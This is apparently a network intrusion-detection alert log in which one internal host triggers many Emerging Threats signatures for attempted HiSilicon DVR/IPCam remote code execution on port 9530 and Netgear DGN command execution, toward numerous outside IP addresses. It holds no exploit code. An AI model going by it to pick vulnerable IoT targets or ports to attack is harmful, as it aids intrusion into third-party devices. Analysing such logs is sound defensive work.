05/16/24-16:38:53.011389	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54464	9530	192.168.2.23	126.86.145.38
05/16/24-16:38:57.303929	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58232	9530	192.168.2.23	217.249.80.65
05/16/24-16:39:05.694698	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53162	9530	192.168.2.23	163.246.133.106
05/16/24-16:38:53.011389	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54464	9530	192.168.2.23	126.86.145.38
05/16/24-16:39:05.694698	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53162	9530	192.168.2.23	163.246.133.106
05/16/24-16:38:55.175134	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52114	9530	192.168.2.23	174.248.248.92
05/16/24-16:38:55.175134	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52114	9530	192.168.2.23	174.248.248.92
05/16/24-16:39:02.725512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35574	9530	192.168.2.23	141.97.110.101
05/16/24-16:39:14.518582	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46994	9530	192.168.2.23	121.143.174.48
05/16/24-16:39:14.518582	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46994	9530	192.168.2.23	121.143.174.48
05/16/24-16:38:53.011220	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44184	9530	192.168.2.23	200.180.209.59
05/16/24-16:38:53.011220	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44184	9530	192.168.2.23	200.180.209.59
05/16/24-16:38:55.176120	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55448	9530	192.168.2.23	121.20.239.75
05/16/24-16:38:55.176120	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55448	9530	192.168.2.23	121.20.239.75
05/16/24-16:39:16.609436	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43554	9530	192.168.2.23	129.192.225.190
05/16/24-16:39:16.609436	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43554	9530	192.168.2.23	129.192.225.190
05/16/24-16:39:02.745308	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46588	9530	192.168.2.23	185.98.44.124
05/16/24-16:39:02.745308	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46588	9530	192.168.2.23	185.98.44.124
05/16/24-16:39:14.494626	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41996	9530	192.168.2.23	104.248.1.95
05/16/24-16:39:14.494626	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41996	9530	192.168.2.23	104.248.1.95
05/16/24-16:39:05.679575	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54990	9530	192.168.2.23	57.204.55.30
05/16/24-16:39:08.125427	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50764	9530	192.168.2.23	112.53.85.102
05/16/24-16:39:05.679575	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54990	9530	192.168.2.23	57.204.55.30
05/16/24-16:39:12.298192	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39138	9530	192.168.2.23	206.166.84.42
05/16/24-16:39:12.298192	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39138	9530	192.168.2.23	206.166.84.42
05/16/24-16:39:05.675900	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55916	9530	192.168.2.23	167.185.49.35
05/16/24-16:39:05.675900	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55916	9530	192.168.2.23	167.185.49.35
05/16/24-16:38:50.047568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44226	9530	192.168.2.23	51.131.228.75
05/16/24-16:38:50.047568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44226	9530	192.168.2.23	51.131.228.75
05/16/24-16:39:08.127312	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46354	9530	192.168.2.23	182.73.255.114
05/16/24-16:39:08.127312	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46354	9530	192.168.2.23	182.73.255.114
05/16/24-16:39:08.146088	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37610	9530	192.168.2.23	25.42.82.178
05/16/24-16:39:08.146088	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37610	9530	192.168.2.23	25.42.82.178
05/16/24-16:39:12.384414	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48260	9530	192.168.2.23	217.44.213.127
05/16/24-16:39:08.148295	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37854	9530	192.168.2.23	99.43.34.250
05/16/24-16:39:12.384414	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48260	9530	192.168.2.23	217.44.213.127
05/16/24-16:39:16.597913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39088	9530	192.168.2.23	4.242.25.225
05/16/24-16:39:08.148295	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37854	9530	192.168.2.23	99.43.34.250
05/16/24-16:39:05.678444	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51182	9530	192.168.2.23	165.218.240.16
05/16/24-16:39:05.678444	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51182	9530	192.168.2.23	165.218.240.16
05/16/24-16:39:16.597913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39088	9530	192.168.2.23	4.242.25.225
05/16/24-16:38:53.065654	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53320	9530	192.168.2.23	126.64.175.134
05/16/24-16:38:59.519332	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55260	9530	192.168.2.23	124.149.202.140
05/16/24-16:38:53.065654	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53320	9530	192.168.2.23	126.64.175.134
05/16/24-16:38:59.557054	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41356	9530	192.168.2.23	219.251.106.120
05/16/24-16:39:08.125427	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50764	9530	192.168.2.23	112.53.85.102
05/16/24-16:38:59.519332	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55260	9530	192.168.2.23	124.149.202.140
05/16/24-16:38:59.557054	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41356	9530	192.168.2.23	219.251.106.120
05/16/24-16:39:12.400619	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48410	9530	192.168.2.23	187.74.59.120
05/16/24-16:39:12.400619	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48410	9530	192.168.2.23	187.74.59.120
05/16/24-16:39:12.383627	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36272	9530	192.168.2.23	181.236.2.172
05/16/24-16:38:49.278138	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	51984	80	192.168.2.23	64.205.122.221
05/16/24-16:38:50.063972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42828	9530	192.168.2.23	57.167.15.28
05/16/24-16:39:12.383627	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36272	9530	192.168.2.23	181.236.2.172
05/16/24-16:38:50.063972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42828	9530	192.168.2.23	57.167.15.28
05/16/24-16:38:55.217685	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56536	9530	192.168.2.23	163.226.184.7
05/16/24-16:38:55.217685	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56536	9530	192.168.2.23	163.226.184.7
05/16/24-16:38:59.588207	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58790	9530	192.168.2.23	155.41.31.71
05/16/24-16:38:59.588207	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58790	9530	192.168.2.23	155.41.31.71
05/16/24-16:39:16.585504	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47738	9530	192.168.2.23	45.113.30.223
05/16/24-16:39:16.585504	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47738	9530	192.168.2.23	45.113.30.223
05/16/24-16:39:02.748785	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34302	9530	192.168.2.23	199.80.104.226
05/16/24-16:39:02.748785	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34302	9530	192.168.2.23	199.80.104.226
05/16/24-16:39:05.699572	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42820	9530	192.168.2.23	19.124.214.19
05/16/24-16:39:05.699572	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42820	9530	192.168.2.23	19.124.214.19
05/16/24-16:39:16.605759	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46402	9530	192.168.2.23	86.197.10.142
05/16/24-16:39:16.605759	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46402	9530	192.168.2.23	86.197.10.142
05/16/24-16:38:50.048839	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35076	9530	192.168.2.23	107.85.132.164
05/16/24-16:38:50.048839	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35076	9530	192.168.2.23	107.85.132.164
05/16/24-16:39:02.769749	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41512	9530	192.168.2.23	36.161.167.201
05/16/24-16:39:08.124505	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37426	9530	192.168.2.23	131.189.197.238
05/16/24-16:39:02.769749	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41512	9530	192.168.2.23	36.161.167.201
05/16/24-16:39:08.124505	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37426	9530	192.168.2.23	131.189.197.238
05/16/24-16:39:14.493532	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52020	9530	192.168.2.23	195.222.90.0
05/16/24-16:39:14.493532	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52020	9530	192.168.2.23	195.222.90.0
05/16/24-16:39:12.377454	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47972	9530	192.168.2.23	92.182.181.168
05/16/24-16:39:16.598478	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47402	9530	192.168.2.23	158.41.176.162
05/16/24-16:39:16.598478	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47402	9530	192.168.2.23	158.41.176.162
05/16/24-16:39:12.377454	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47972	9530	192.168.2.23	92.182.181.168
05/16/24-16:39:02.726886	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53892	9530	192.168.2.23	157.77.73.252
05/16/24-16:39:02.726886	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53892	9530	192.168.2.23	157.77.73.252
05/16/24-16:38:50.068350	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44556	9530	192.168.2.23	94.40.244.201
05/16/24-16:38:57.443981	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39260	9530	192.168.2.23	212.100.178.130
05/16/24-16:38:50.068350	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44556	9530	192.168.2.23	94.40.244.201
05/16/24-16:38:57.443981	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39260	9530	192.168.2.23	212.100.178.130
05/16/24-16:39:03.275890	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46740	9530	192.168.2.23	161.51.172.219
05/16/24-16:39:03.275890	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46740	9530	192.168.2.23	161.51.172.219
05/16/24-16:39:12.378500	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52184	9530	192.168.2.23	39.167.51.86
05/16/24-16:38:50.047743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33084	9530	192.168.2.23	132.139.153.173
05/16/24-16:39:12.304031	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56346	9530	192.168.2.23	150.36.207.243
05/16/24-16:38:50.047743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33084	9530	192.168.2.23	132.139.153.173
05/16/24-16:39:12.304031	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56346	9530	192.168.2.23	150.36.207.243
05/16/24-16:39:16.576791	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43430	9530	192.168.2.23	18.71.96.174
05/16/24-16:39:12.378500	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52184	9530	192.168.2.23	39.167.51.86
05/16/24-16:39:16.576791	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43430	9530	192.168.2.23	18.71.96.174
05/16/24-16:39:02.761665	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56244	9530	192.168.2.23	97.9.211.201
05/16/24-16:39:12.380134	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41482	9530	192.168.2.23	133.144.169.111
05/16/24-16:39:02.761665	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56244	9530	192.168.2.23	97.9.211.201
05/16/24-16:38:53.011458	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58840	9530	192.168.2.23	135.173.96.126
05/16/24-16:38:53.011458	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58840	9530	192.168.2.23	135.173.96.126
05/16/24-16:39:02.726987	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32906	9530	192.168.2.23	13.223.224.149
05/16/24-16:39:14.518549	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39714	9530	192.168.2.23	4.44.10.214
05/16/24-16:39:02.726987	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32906	9530	192.168.2.23	13.223.224.149
05/16/24-16:39:14.518549	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39714	9530	192.168.2.23	4.44.10.214
05/16/24-16:39:14.517518	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35258	9530	192.168.2.23	146.224.187.20
05/16/24-16:39:14.517518	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35258	9530	192.168.2.23	146.224.187.20
05/16/24-16:38:59.520009	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46452	9530	192.168.2.23	201.0.61.38
05/16/24-16:39:05.705358	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42878	9530	192.168.2.23	198.29.206.201
05/16/24-16:39:05.705358	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42878	9530	192.168.2.23	198.29.206.201
05/16/24-16:38:59.520009	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46452	9530	192.168.2.23	201.0.61.38
05/16/24-16:39:12.380134	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41482	9530	192.168.2.23	133.144.169.111
05/16/24-16:39:05.713739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44758	9530	192.168.2.23	2.253.114.101
05/16/24-16:39:12.380672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52464	9530	192.168.2.23	166.231.177.252
05/16/24-16:39:12.380672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52464	9530	192.168.2.23	166.231.177.252
05/16/24-16:39:08.041070	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52060	9530	192.168.2.23	202.77.125.83
05/16/24-16:39:05.713739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44758	9530	192.168.2.23	2.253.114.101
05/16/24-16:39:14.493489	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55402	9530	192.168.2.23	70.243.140.91
05/16/24-16:39:14.493489	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55402	9530	192.168.2.23	70.243.140.91
05/16/24-16:39:16.600108	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47268	9530	192.168.2.23	79.175.141.221
05/16/24-16:39:16.600108	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47268	9530	192.168.2.23	79.175.141.221
05/16/24-16:39:03.276931	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33580	9530	192.168.2.23	118.75.195.243
05/16/24-16:39:03.276931	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33580	9530	192.168.2.23	118.75.195.243
05/16/24-16:39:08.127195	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45364	9530	192.168.2.23	222.34.72.224
05/16/24-16:39:08.127195	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45364	9530	192.168.2.23	222.34.72.224
05/16/24-16:39:08.127906	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46546	9530	192.168.2.23	191.211.132.26
05/16/24-16:39:02.767175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42170	9530	192.168.2.23	167.220.201.50
05/16/24-16:39:08.127906	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46546	9530	192.168.2.23	191.211.132.26
05/16/24-16:39:14.510040	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39678	9530	192.168.2.23	192.84.85.222
05/16/24-16:39:16.585526	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59338	9530	192.168.2.23	199.62.168.27
05/16/24-16:39:14.510040	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39678	9530	192.168.2.23	192.84.85.222
05/16/24-16:39:16.585526	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59338	9530	192.168.2.23	199.62.168.27
05/16/24-16:39:16.605123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38532	9530	192.168.2.23	153.68.93.102
05/16/24-16:39:16.605123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38532	9530	192.168.2.23	153.68.93.102
05/16/24-16:39:05.702496	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40424	9530	192.168.2.23	157.209.135.195
05/16/24-16:39:09.560216	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	52858	80	192.168.2.23	51.38.6.128
05/16/24-16:39:05.702496	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40424	9530	192.168.2.23	157.209.135.195
05/16/24-16:39:08.041070	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52060	9530	192.168.2.23	202.77.125.83
05/16/24-16:39:16.578972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38916	9530	192.168.2.23	2.87.54.51
05/16/24-16:39:16.603128	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51894	9530	192.168.2.23	146.28.40.182
05/16/24-16:39:16.578972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38916	9530	192.168.2.23	2.87.54.51
05/16/24-16:39:16.603128	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51894	9530	192.168.2.23	146.28.40.182
05/16/24-16:39:08.126405	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47830	9530	192.168.2.23	142.35.121.25
05/16/24-16:39:12.403762	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60710	9530	192.168.2.23	202.215.125.22
05/16/24-16:38:53.011215	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50732	9530	192.168.2.23	181.184.115.140
05/16/24-16:39:14.528262	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46838	9530	192.168.2.23	93.26.53.91
05/16/24-16:39:05.702390	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51722	9530	192.168.2.23	155.122.198.98
05/16/24-16:39:12.403762	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60710	9530	192.168.2.23	202.215.125.22
05/16/24-16:39:14.528262	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46838	9530	192.168.2.23	93.26.53.91
05/16/24-16:39:05.702390	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51722	9530	192.168.2.23	155.122.198.98
05/16/24-16:38:53.011215	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50732	9530	192.168.2.23	181.184.115.140
05/16/24-16:39:03.280098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59276	9530	192.168.2.23	168.124.28.21
05/16/24-16:39:02.749201	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43694	9530	192.168.2.23	142.233.234.76
05/16/24-16:39:02.749201	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43694	9530	192.168.2.23	142.233.234.76
05/16/24-16:38:50.004162	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48016	9530	192.168.2.23	218.218.131.147
05/16/24-16:38:50.004162	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48016	9530	192.168.2.23	218.218.131.147
05/16/24-16:39:03.280098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59276	9530	192.168.2.23	168.124.28.21
05/16/24-16:39:05.717201	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35948	9530	192.168.2.23	137.0.247.155
05/16/24-16:38:53.011328	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43384	9530	192.168.2.23	213.127.75.137
05/16/24-16:38:53.011328	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43384	9530	192.168.2.23	213.127.75.137
05/16/24-16:39:05.717201	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35948	9530	192.168.2.23	137.0.247.155
05/16/24-16:38:59.584418	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60272	9530	192.168.2.23	115.24.153.181
05/16/24-16:38:59.584418	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60272	9530	192.168.2.23	115.24.153.181
05/16/24-16:39:14.518623	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55680	9530	192.168.2.23	43.153.96.122
05/16/24-16:39:12.406034	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60128	9530	192.168.2.23	24.196.123.58
05/16/24-16:39:12.406034	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60128	9530	192.168.2.23	24.196.123.58
05/16/24-16:39:14.518623	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55680	9530	192.168.2.23	43.153.96.122
05/16/24-16:39:05.675685	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48634	9530	192.168.2.23	161.98.146.252
05/16/24-16:39:03.288275	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34700	9530	192.168.2.23	85.76.199.53
05/16/24-16:39:16.580725	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38694	9530	192.168.2.23	220.40.51.245
05/16/24-16:39:03.288275	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34700	9530	192.168.2.23	85.76.199.53
05/16/24-16:39:16.580725	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38694	9530	192.168.2.23	220.40.51.245
05/16/24-16:38:57.303914	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41722	9530	192.168.2.23	222.75.237.183
05/16/24-16:38:57.303914	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41722	9530	192.168.2.23	222.75.237.183
05/16/24-16:39:05.675685	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48634	9530	192.168.2.23	161.98.146.252
